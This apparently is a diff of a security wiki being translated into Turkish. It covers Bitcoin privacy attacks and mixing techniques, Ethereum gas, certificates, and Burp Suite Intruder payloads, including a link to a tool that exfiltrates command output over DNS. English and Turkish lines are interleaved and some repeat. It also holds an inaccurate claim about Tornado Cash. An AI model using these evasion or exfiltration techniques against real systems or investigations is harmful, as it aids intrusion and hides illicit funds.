Bir karıştırma hizmeti kullanarak, bir kullanıcı **bitcoin gönderebilir** ve **karşılığında farklı bitcoinler alabilir**, bu da orijinal sahibin izlenmesini zorlaştırır. Ancak, bu hizmetin kayıt tutmaması ve gerçekten bitcoinleri geri döndürmesi için güven gerektirir. Alternatif karıştırma seçenekleri arasında Bitcoin kumarhaneleri bulunmaktadır.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin**, farklı kullanıcılardan gelen birden fazla işlemi birleştirerek, girdileri çıktılarla eşleştirmeye çalışan herkes için süreci karmaşık hale getirir. Etkinliğine rağmen, benzersiz girdi ve çıktı boyutlarına sahip işlemler hala izlenebilir.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunmaktadır.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Daha fazla bilgi için [CoinJoin](https://coinjoin.io/en) adresini ziyaret edin. Ethereum'da benzer bir hizmet için [Tornado Cash](https://tornado.cash) adresine göz atın; bu hizmet, madencilerden gelen fonlarla işlemleri anonimleştirir.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
CoinJoin'un bir varyantı olan **PayJoin** (veya P2EP), iki taraf (örneğin, bir müşteri ve bir satıcı) arasında işlemi, CoinJoin'un belirgin eşit çıktılar özelliği olmadan, normal bir işlem olarak gizler. Bu, tespit edilmesini son derece zorlaştırır ve işlem gözetim varlıkları tarafından kullanılan ortak-girdi-sahipliği heuristiğini geçersiz kılabilir.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Yukarıdaki gibi işlemler PayJoin olabilir, gizliliği artırırken standart bitcoin işlemlerinden ayırt edilemez kalır.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**PayJoin'in kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme haline getirir.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Kripto Para Birimlerinde Gizlilik için En İyi Uygulamalar
# Best Practices for Privacy in Cryptocurrencies
## **Cüzdan Senkronizasyon Teknikleri**
## **Wallet Synchronization Techniques**
Gizliliği ve güvenliği korumak için, cüzdanların blockchain ile senkronize edilmesi kritik öneme sahiptir. İki yöntem öne çıkmaktadır:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Tam düğüm**: Tüm blockchain'i indirerek, tam düğüm maksimum gizlilik sağlar. Daha önce yapılmış tüm işlemler yerel olarak saklanır, bu da düşmanların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini belirlemesini imkansız hale getirir.
- **İstemci tarafı blok filtreleme**: Bu yöntem, blockchain'deki her blok için filtreler oluşturarak cüzdanların belirli ilgi alanlarını ağ gözlemcilerine ifşa etmeden ilgili işlemleri tanımlamasını sağlar. Hafif cüzdanlar bu filtreleri indirir, yalnızca kullanıcının adresleriyle eşleşme bulunduğunda tam blokları alır.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Anonimlik için Tor Kullanımı**
## **Utilizing Tor for Anonymity**
Bitcoin'in eşler arası bir ağda çalıştığı göz önüne alındığında, IP adresinizi maskelemek için Tor kullanılması önerilir, bu da ağla etkileşimde gizliliği artırır.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Adres Yeniden Kullanımını Önleme**
## **Preventing Address Reuse**
Gizliliği korumak için her işlem için yeni bir adres kullanmak hayati öneme sahiptir. Adreslerin yeniden kullanılması, işlemleri aynı varlıkla ilişkilendirerek gizliliği tehlikeye atabilir. Modern cüzdanlar, tasarımları aracılığıyla adres yeniden kullanımını teşvik etmez.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **İşlem Gizliliği için Stratejiler**
## **Strategies for Transaction Privacy**
- **Birden fazla işlem**: Bir ödemeyi birkaç işleme bölmek, işlem miktarını belirsizleştirerek gizlilik saldırılarını engelleyebilir.
- **Değişimden kaçınma**: Değişim çıktısı gerektirmeyen işlemleri tercih etmek, değişim tespit yöntemlerini bozarak gizliliği artırır.
- **Birden fazla değişim çıktısı**: Değişimden kaçınmak mümkün değilse, birden fazla değişim çıktısı oluşturmak yine de gizliliği artırabilir.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: Anonimlik Işığı**
# **Monero: A Beacon of Anonymity**
Monero, dijital işlemlerde mutlak anonimlik ihtiyacını karşılar ve gizlilik için yüksek bir standart belirler.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gaz ve İşlemler**
# **Ethereum: Gas and Transactions**
## **Gazı Anlamak**
## **Understanding Gas**
Gaz, Ethereum'da işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gaz limiti ve bir temel ücret içerir, ayrıca madencileri teşvik etmek için bir bahşiş vardır. Kullanıcılar, fazla ödeme yapmamalarını sağlamak için maksimum bir ücret belirleyebilir ve fazlası iade edilir.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **İşlemleri Gerçekleştirme**
## **Executing Transactions**
Ethereum'daki işlemler bir gönderici ve bir alıcı içerir; bu alıcı ya kullanıcı ya da akıllı sözleşme adresi olabilir. İşlemler bir ücret gerektirir ve madencilik yapılması gerekir. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gaz limiti ve ücretlerdir. Özellikle, göndericinin adresi imzadan çıkarılır, bu da işlem verilerinde bulunmasına gerek kalmaz.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto para birimleriyle etkileşimde bulunmanın temelini oluşturur.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Referanslar
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

6
src/burp-suite.md
View File

@ -4,9 +4,9 @@
- **Basit Liste:** Her satırda bir giriş içeren bir liste
- **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için.
- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-).
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma.
- **Kaba Kuvvet:** Karakter seti, minimum ve maksimum uzunluk.
- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulamak (değişiklik yok, küçük harfe, BÜYÜK HARFE, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-).
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar üretmek.
- **Kaba Kuvvet:** Karakter seti, minimum & maksimum uzunluk.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı DNS istekleri aracılığıyla burpcollab'a almak için payload.

182
src/crypto-and-stego/blockchain-and-crypto-currencies.md
View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## Temel Kavramlar
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Akıllı Sözleşmeler**, belirli koşullar yerine getirildiğinde bir blok zincirinde yürütülen programlar olarak tanımlanır ve aracılara ihtiyaç duymadan anlaşma yürütmelerini otomatikleştirir.
- **Merkeziyetsiz Uygulamalar (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç ile akıllı sözleşmeler üzerine inşa edilir.
- **Tokenlar ve Coinler**, coinlerin dijital para olarak hizmet etmesi, tokenların ise belirli bağlamlarda değer veya mülkiyeti temsil etmesi ile farklılaşır.
- **Yardımcı Tokenlar**, hizmetlere erişim sağlar ve **Güvenlik Tokenları** varlık mülkiyetini belirtir.
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Merkeziyetsiz Finans anlamına gelir.
- **DEX** ve **DAO'lar**, sırasıyla Merkeziyetsiz Borsa Platformları ve Merkeziyetsiz Otonom Organizasyonlar anlamına gelir.
## Consensus Mechanisms
## Konsensüs Mekanizmaları
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Konsensüs mekanizmaları, blok zincirinde güvenli ve kabul edilen işlem doğrulamalarını sağlar:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **İş Kanıtı (PoW)**, işlem doğrulaması için hesaplama gücüne dayanır.
- **Hisse Kanıtı (PoS)**, doğrulayıcıların belirli bir miktar token bulundurmasını gerektirir ve PoW'ye kıyasla enerji tüketimini azaltır.
## Bitcoin Essentials
## Bitcoin Temelleri
### Transactions
### İşlemler
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Bitcoin işlemleri, adresler arasında fon transferini içerir. İşlemler, yalnızca özel anahtarın sahibi tarafından transferlerin başlatılmasını sağlamak için dijital imzalarla doğrulanır.
#### Key Components:
#### Ana Bileşenler:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Çok İmzalı İşlemler**, bir işlemi yetkilendirmek için birden fazla imza gerektirir.
- İşlemler, **girdiler** (fon kaynağı), **çıktılar** (hedef), **ücretler** (madencilere ödenen) ve **senaryolar** (işlem kuralları) içerir.
### Lightning Network
### Lightning Ağı
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Bitcoin'in ölçeklenebilirliğini artırmayı hedefler, bir kanalda birden fazla işlemi gerçekleştirerek yalnızca nihai durumu blok zincirine yayınlar.
## Bitcoin Privacy Concerns
## Bitcoin Gizlilik Endişeleri
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Gizlilik saldırıları, **Ortak Girdi Mülkiyeti** ve **UTXO Değişim Adresi Tespiti** gibi, işlem kalıplarını istismar eder. **Karıştırıcılar** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
## Acquiring Bitcoins Anonymously
## Bitcoinleri Anonim Olarak Edinme
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Yöntemler arasında nakit ticareti, madencilik ve karıştırıcıların kullanımı bulunur. **CoinJoin**, birden fazla işlemi karıştırarak izlenebilirliği karmaşıklaştırırken, **PayJoin** CoinJoin'leri normal işlemler olarak gizleyerek gizliliği artırır.
# Bitcoin Privacy Atacks
# Bitcoin Gizlilik Saldırıları
# Summary of Bitcoin Privacy Attacks
# Bitcoin Gizlilik Saldırıları Özeti
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
Bitcoin dünyasında, işlemlerin gizliliği ve kullanıcıların anonimliği genellikle endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atabileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti.
## **Common Input Ownership Assumption**
## **Ortak Girdi Mülkiyeti Varsayımı**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir, bu nedenle **aynı işlemdeki iki girdi adresinin genellikle aynı sahibine ait olduğu varsayılır**.
## **UTXO Change Address Detection**
## **UTXO Değişim Adresi Tespiti**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
Bir UTXO, veya **Harcanmamış İşlem Çıktısı**, bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, geri kalan yeni bir değişim adresine gider. Gözlemciler, bu yeni adresin gönderene ait olduğunu varsayarak gizliliği tehlikeye atabilir.
### Example
### Örnek
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Bunu hafifletmek için, karıştırma hizmetleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
## **Social Networks & Forums Exposure**
## **Sosyal Ağlar ve Forumlar Maruziyeti**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır, bu da **adresin sahibine bağlanmasını kolaylaştırır**.
## **Transaction Graph Analysis**
## **İşlem Grafiği Analizi**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
İşlemler, fon akışına dayalı olarak kullanıcılar arasındaki potansiyel bağlantıları ortaya çıkaran grafikler olarak görselleştirilebilir.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Gereksiz Girdi Heuristiği (Optimal Değişim Heuristiği)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Bu heuristik, birden fazla girdi ve çıktı içeren işlemleri analiz ederek hangi çıktının gönderene geri dönen değişim olduğunu tahmin etmeye dayanır.
### Örnek
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Eğer daha fazla girdi eklemek, değişiklik çıktısını herhangi bir tek girdi kadar büyük yapıyorsa, bu heuristiği karıştırabilir.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Zorunlu Adres Yeniden Kullanımı**
## **Forced Address Reuse**
Saldırganlar, alıcının bunları gelecekteki işlemlerde diğer girdilerle birleştirmesini umarak daha önce kullanılan adreslere küçük miktarlar gönderebilir, böylece adresleri birbirine bağlayabilirler.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Doğru Cüzdan Davranışı
### Correct Wallet Behavior
Cüzdanlar, bu gizlilik sızıntısını önlemek için daha önce kullanılan, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Diğer Blockchain Analiz Teknikleri**
## **Other Blockchain Analysis Techniques**
- **Tam Ödeme Miktarları:** Değişiklik olmadan yapılan işlemler, muhtemelen aynı kullanıcıya ait iki adres arasında gerçekleşir.
- **Yuvarlak Sayılar:** Bir işlemdeki yuvarlak bir sayı, bunun bir ödeme olduğunu gösterir; yuvarlak olmayan çıktı muhtemelen değişikliktir.
- **Cüzdan Parmak İzi:** Farklı cüzdanlar, analistlerin kullanılan yazılımı ve potansiyel olarak değişiklik adresini tanımlamasına olanak tanıyan benzersiz işlem oluşturma desenlerine sahiptir.
- **Miktar ve Zaman Korelasyonları:** İşlem zamanlarını veya miktarlarını açıklamak, işlemlerin izlenebilir hale gelmesine neden olabilir.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Trafik Analizi**
## **Traffic Analysis**
Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir, bu da kullanıcı gizliliğini tehlikeye atabilir. Bu, bir varlığın birçok Bitcoin düğümü işletmesi durumunda özellikle doğrudur ve işlemleri izleme yeteneklerini artırır.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Daha Fazla
## More
Gizlilik saldırıları ve savunmaları hakkında kapsamlı bir liste için [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) adresini ziyaret edin.
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonim Bitcoin İşlemleri
# Anonymous Bitcoin Transactions
## Bitcoinleri Anonim Olarak Elde Etmenin Yolları
## Ways to Get Bitcoins Anonymously
- **Nakit İşlemler**: Nakit ile bitcoin edinmek.
- **Nakit Alternatifleri**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin ile değiştirmek.
- **Madencilik**: Bitcoin kazanmanın en özel yöntemi madenciliktir, özellikle yalnız yapıldığında çünkü madencilik havuzları madencinin IP adresini bilebilir. [Madencilik Havuzları Bilgisi](https://en.bitcoin.it/wiki/Pooled_mining)
- **Hırsızlık**: Teorik olarak, bitcoin çalmak anonim olarak edinmenin bir başka yöntemi olabilir, ancak bu yasadışıdır ve önerilmez.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Karıştırma Hizmetleri
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Bir karıştırma hizmeti kullanarak, bir kullanıcı **bitcoin gönderebilir** ve **karşılığında farklı bitcoinler alabilir**, bu da orijinal sahibin izlenmesini zorlaştırır. Ancak, bu hizmetin kayıt tutmaması ve gerçekten bitcoinleri geri döndürmesi için güven gerektirir. Alternatif karıştırma seçenekleri arasında Bitcoin kumarhaneleri bulunmaktadır.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin**, farklı kullanıcılardan gelen birden fazla işlemi birleştirerek, girdileri çıktılarla eşleştirmeye çalışan herkes için süreci karmaşık hale getirir. Etkinliğine rağmen, benzersiz girdi ve çıktı boyutlarına sahip işlemler hala izlenebilir.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunmaktadır.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Daha fazla bilgi için [CoinJoin](https://coinjoin.io/en) adresini ziyaret edin. Ethereum'da benzer bir hizmet için [Tornado Cash](https://tornado.cash) adresine göz atın; bu, madencilerden gelen fonlarla işlemleri anonimleştirir.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
CoinJoin'un bir varyantı olan **PayJoin** (veya P2EP), iki taraf (örneğin, bir müşteri ve bir satıcı) arasında işlemi, CoinJoin'un belirgin eşit çıktılar özelliği olmadan, normal bir işlem olarak gizler. Bu, tespit edilmesini son derece zorlaştırır ve işlem gözetim varlıkları tarafından kullanılan ortak-girdi-sahipliği heuristiğini geçersiz kılabilir.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Yukarıdaki gibi işlemler PayJoin olabilir, gizliliği artırırken standart bitcoin işlemlerinden ayırt edilemez hale getirir.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**PayJoin'in kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme haline getirir.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Kripto Para Birimlerinde Gizlilik için En İyi Uygulamalar
# Best Practices for Privacy in Cryptocurrencies
## **Cüzdan Senkronizasyon Teknikleri**
## **Wallet Synchronization Techniques**
Gizliliği ve güvenliği korumak için, cüzdanların blockchain ile senkronize edilmesi kritik öneme sahiptir. İki yöntem öne çıkmaktadır:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Tam düğüm**: Tüm blockchain'i indirerek, tam düğüm maksimum gizlilik sağlar. Daha önce yapılmış tüm işlemler yerel olarak saklanır, bu da düşmanların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini belirlemesini imkansız hale getirir.
- **İstemci tarafı blok filtreleme**: Bu yöntem, blockchain'deki her blok için filtreler oluşturarak cüzdanların belirli ilgi alanlarını ağ gözlemcilerine ifşa etmeden ilgili işlemleri tanımlamasını sağlar. Hafif cüzdanlar bu filtreleri indirir, yalnızca kullanıcının adresleriyle eşleşme bulunduğunda tam blokları alır.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Anonimlik için Tor Kullanımı**
## **Utilizing Tor for Anonymity**
Bitcoin'in eşler arası bir ağda çalıştığı göz önüne alındığında, IP adresinizi maskelemek için Tor kullanılması önerilir, bu da ağla etkileşimde gizliliği artırır.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Adres Yeniden Kullanımını Önleme**
## **Preventing Address Reuse**
Gizliliği korumak için her işlem için yeni bir adres kullanmak hayati öneme sahiptir. Adreslerin yeniden kullanılması, işlemleri aynı varlıkla ilişkilendirerek gizliliği tehlikeye atabilir. Modern cüzdanlar, tasarımları aracılığıyla adres yeniden kullanımını teşvik etmez.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **İşlem Gizliliği için Stratejiler**
## **Strategies for Transaction Privacy**
- **Birden fazla işlem**: Bir ödemeyi birkaç işleme bölmek, işlem miktarını belirsiz hale getirerek gizlilik saldırılarını engelleyebilir.
- **Değişiklikten kaçınma**: Değişiklik çıktısı gerektirmeyen işlemleri tercih etmek, değişiklik tespit yöntemlerini bozarak gizliliği artırır.
- **Birden fazla değişiklik çıktısı**: Değişiklikten kaçınmak mümkün değilse, birden fazla değişiklik çıktısı oluşturmak yine de gizliliği artırabilir.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: Anonimlik Işığı**
# **Monero: A Beacon of Anonymity**
Monero, dijital işlemlerde mutlak anonimlik ihtiyacını karşılar ve gizlilik için yüksek bir standart belirler.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: Gaz ve İşlemler**
# **Ethereum: Gas and Transactions**
## **Gazı Anlamak**
## **Understanding Gas**
Gaz, Ethereum'da işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gaz limiti ve bir temel ücret içerir, ayrıca madencileri teşvik etmek için bir bahşiş vardır. Kullanıcılar, fazla ödeme yapmamalarını sağlamak için maksimum bir ücret belirleyebilir ve fazlası iade edilir.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **İşlemleri Gerçekleştirme**
## **Executing Transactions**
Ethereum'daki işlemler bir gönderici ve bir alıcı içerir; bu alıcı ya kullanıcı ya da akıllı sözleşme adresi olabilir. İşlemler bir ücret gerektirir ve madencilik yapılması gerekir. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gaz limiti ve ücretlerdir. Özellikle, göndericinin adresi imzadan çıkarılır, bu da işlem verilerinde bulunmasına gerek kalmaz.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto para birimleriyle etkileşimde bulunmanın temelini oluşturur.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Referanslar
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

202
src/crypto-and-stego/certificates.md
View File

@ -1,47 +1,38 @@
# Certificates
# Sertifikalar
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Sertifika Nedir
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Bir **açık anahtar sertifikası**, birinin bir açık anahtara sahip olduğunu kanıtlamak için kriptografide kullanılan dijital bir kimliktir. Anahtarın detaylarını, sahibinin kimliğini (konu) ve güvenilir bir otoriteden (verici) dijital bir imzayı içerir. Yazılım vericiyi güvenilir buluyorsa ve imza geçerliyse, anahtarın sahibiyle güvenli iletişim mümkündür.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate_authority) (CA'lar) tarafından [açık anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Diğer bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dır; burada kullanıcılar birbirlerinin anahtarlarını doğrudan doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509) olup, RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir.
## What is a Certificate
## x509 Ortak Alanlar
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **x509 Sertifikalarında Ortak Alanlar**
